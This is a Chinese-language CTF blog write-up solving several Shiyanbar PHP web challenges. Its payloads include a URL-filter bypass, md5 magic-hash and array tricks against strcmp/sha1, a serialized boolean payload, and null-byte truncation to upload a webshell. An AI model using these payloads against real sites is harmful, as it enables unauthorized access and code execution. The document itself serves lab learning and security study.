

西普 部分WEB Writeup

原创

Ni9htMar3 于 2016-12-26 22:49:17 发布 1822 收藏 1

分类专栏: [WriteUp](#) 文章标签: [writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/Ni9htMar3/article/details/53890357>

版权



[WriteUp](#) 专栏收录该内容

17 篇文章 0 订阅

订阅专栏

WEB

拐弯抹角

打开一堆代码和注释

```
<?php
// code by SECBUSTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';

$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0;

//这道题目本身也有教学的目的
//第一, 我们可以构造 /indirection/a/./ /indirection/. 等等这一类的
//所以, 第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
    $flag = "";
    $stop = 1;    //Pass
}

//第二, 我们可以构造 \ 来代替被过滤的 /
//所以, 第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
    $flag = "";
    $stop = 2;    //Pass
}

//第三, 有的系统大小写通用, 例如 indirection/
//你也可以用?和a等等的字符绕过, 这需要统一解决
//所以, 第三个要求对可以用的字符做了限制, a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\./]+)$/i', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
    $flag = "";
}
```

```

    $stop = 3;        //Pass
}

//第四，多个 / 也是可以的
//所以，第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
    $flag = "";
    $stop = 4;        //Pass
}

//第五，显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php，并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
    $flag = "";
    $stop = 5;        //Not Pass
}

//第六，我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
    $flag = "";
    $stop = 6;        //Not Pass
}

//第七，现在是最关键的时刻
//你的URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
    $flag = "";
    $stop = 7;        //Not Pass
}
if(!$stop) $stop = 8;

echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++){
    $code = str_replace('//Pass '.$i, '//Pass', $code);
}
for(; $i < 8; $i++){
    $code = str_replace('//Pass '.$i, '//Not Pass', $code);
}

echo highlight_string($code, TRUE);

echo '</body></html>';`

```

通过分析可知需要构造一个URL为 `/indirection/index.php`，但又不能等于他，总共定下了7条规则，不能有 `./ \、 p.、 //`，必须是 `小写字母a-z, /, .` 组成，结尾必须是 `/index.php` 这样根据构造 `/indirection/index.php/index.php` 即可绕过这种其实就是伪静态技术（**pseudo-static**），又名URL重写（**URL rewriting**）。

举个最简单的应用，例如你原本想弄的是 `index.php?id=123`，但你想隐藏其真实的文件路径，你通过URL重写技术，可以达到访问 `test/123.html` 而实际上在访问 `index.php?id=123`

可参考[链接](#)

安女神之名

通过分析可知只要输入安女神就行，但由于有防火墙的存在，这道题主要考察的是编码。尝试多种编码，**UTF-8**成功绕过

`安女神`

然后查看源码即得真正flag

得到提示 `<!--$test=$_GET['username'];$test=md5($test); if($test=='0')`

根据提示可知只要构造username的md5值与'0'相等满足条件即可

这里考察的是PHP的弱类型比较

这里是[链接](#)

```
s878926199a
 0e545993274517709034328855841020
s155964671a
 0e342768416822451524974117254469
s214587387a
 0e848240448830537924465865611904
s214587387a
 0e848240448830537924465865611904
s878926199a
 0e545993274517709034328855841020
```

选一个s878926199a登入，得到下一个提示：

`/user.php?fame=hjkleffifer`

直接进入地址，得到下一提示：

```
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???)
{
    print_r($flag);
}
```

伟大的科学家php方言道：成也布尔，败也布尔。 回去吧骚年

通过分析，明显是考察PHP的反序列化

结合提示代码，这意思也就是数组了，password应该是已序列化的代码，并且经过unserialize()函数过后，参数user以及pass都应该是满足if语句的值，也就是“1”，

不用考虑“???”根据bool=1即可通过PHP的弱类型比较

这样的话，构造序列化的变量：

```
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
```

意思是数组a中有两个元素，长度为4的user元素的bool值为1，长度为4的pass元素的bool值为1.

只有这样，反序列化后user的值为1，pass的值为1

将此序列输入起始界面的密码中即得到flag

输入密码

打开空白，直接查看源码得到 /1.txt,访问即得

```
if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0)
        die('Flag: '.$flag);
    else
        print '离成功更近一步了';
}
```

一看就知道是php的strcmp的弱类型比较，直接构造数组即可得到flag

此为一些strcmp比较结果:

```
strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp(61529519452809720693702583126814, 61529519452809720000000000000000) => 0
strcmp(NULL, false) => 0
strcmp(NULL, "") => 0
strcmp(NULL, 0) => -1
strcmp(false, -1) => -2
strcmp("15", NULL) => 2
strcmp(NULL, "foo") => -3
strcmp("foo", NULL) => 3
strcmp("foo", false) => 3
strcmp("foo", 0) => 1
strcmp("foo", 5) => 1
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
```

FALSE

查看源码

```
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
        die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else{
    echo '<p>Login first!</p>';
}
?>
```

看来这次考察的是php的sha1函数漏洞,通过查阅资料,构造 `name[]=a&password[]=b`,这样就很容易通过第一个判断,由于 `sha1` 函数不能处理数组类型,故两边处理时报错返回 `false` 相等,故得 `flag`

上传绕过

文件上传

Filename: a.php.gif

尝试将一句话木马放进去,发现只允许 `jpg, png, gif`,尝试添加后缀绕过,发现不行

`url=uploads/`

用 `burpsuite` 进行抓包, 在后面添加一句话木马的文件名, `a.php`, 在 `.php` 后面加一个空格然后修改 `hex` 响应位置为 `*00*`, 进行截断处理, 最后 `go`

题目一

上传1.png之后出现这个

```
Upload: 1.png
Type: image/png
Size: 9.9091796875 Kb
Stored in: ./uploads/8a9e5f6a7a789acb.php
必须上传成后缀名为php的文件才行啊！
```

burpsuit截得

```
/uploads/|
-----96303060623925
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png
```

尝试在upload后面加1.php截断字符

最后成功

```
Referer: http://ctf5.shiyanbar.com/web/upload/
Cookie: sample-hash=571580b26c65f306376d4f64e53cb5c7;
source=0;
Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1478345920,1478407466,
1479796528,1479904417;
Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*59503%2CnicrN
ame%3A%EF%B8%B6%EF%BF%A3%EF%BC%8C%E5%88%AB%E8%87%B4;
Hm_lpv_34d6f7353ab0915a4c582e4516dffbc3=1479904442;
PHPSESSID=8qsm57chh3pmifccfjs9v3jv3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
boundary=-----96303060623925
Content-Length: 10541
-----96303060623925
Content-Disposition: form-data; name="dir"

/uploads/1.php
-----96303060623925
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png
```

```
HTTP/1.1 200 OK
Date: Wed, 23 Nov 2016 12:35:58 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.2.17
X-Powered-By: PHP/5.2.17
Content-Length: 230
Connection: close
Content-Type: text/html

<html><head><meta charset="utf-8" /></head><body>
Upload: 1.png<br />Type: image/png<br />Size: 9.9091796875
Kb<br />Stored in:
./uploads/8a9e5f6a7a789acb.php<br>□□□□flag□□□<br>flag{ SimCTF
_huachuan}</body>
</html>
```

NSCTF web200

一看就是考代码逆过程

```
<?php
function decode($str)
{
    $_='';
    $one=str_rot13($str);
    $two=strrev($one);
    $three=base64_decode($two);
    $four=strrev($three);
    for($i=0;$i<strlen($four);$i++)
    {
        $_c=substr($four,$i,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;
    }
    return $_;
}
print decode("a1zLbgQsCESEIqRLwuQAYMwLyq2L5VwBxqGA3RQAYumZ0tmMvSGM2ZwB4tws");
?>
```

what a fuck!这是什么鬼东西?

由 `[]+!()` 组成, 明显是JSFuck编码, 直接火狐命令行执行即得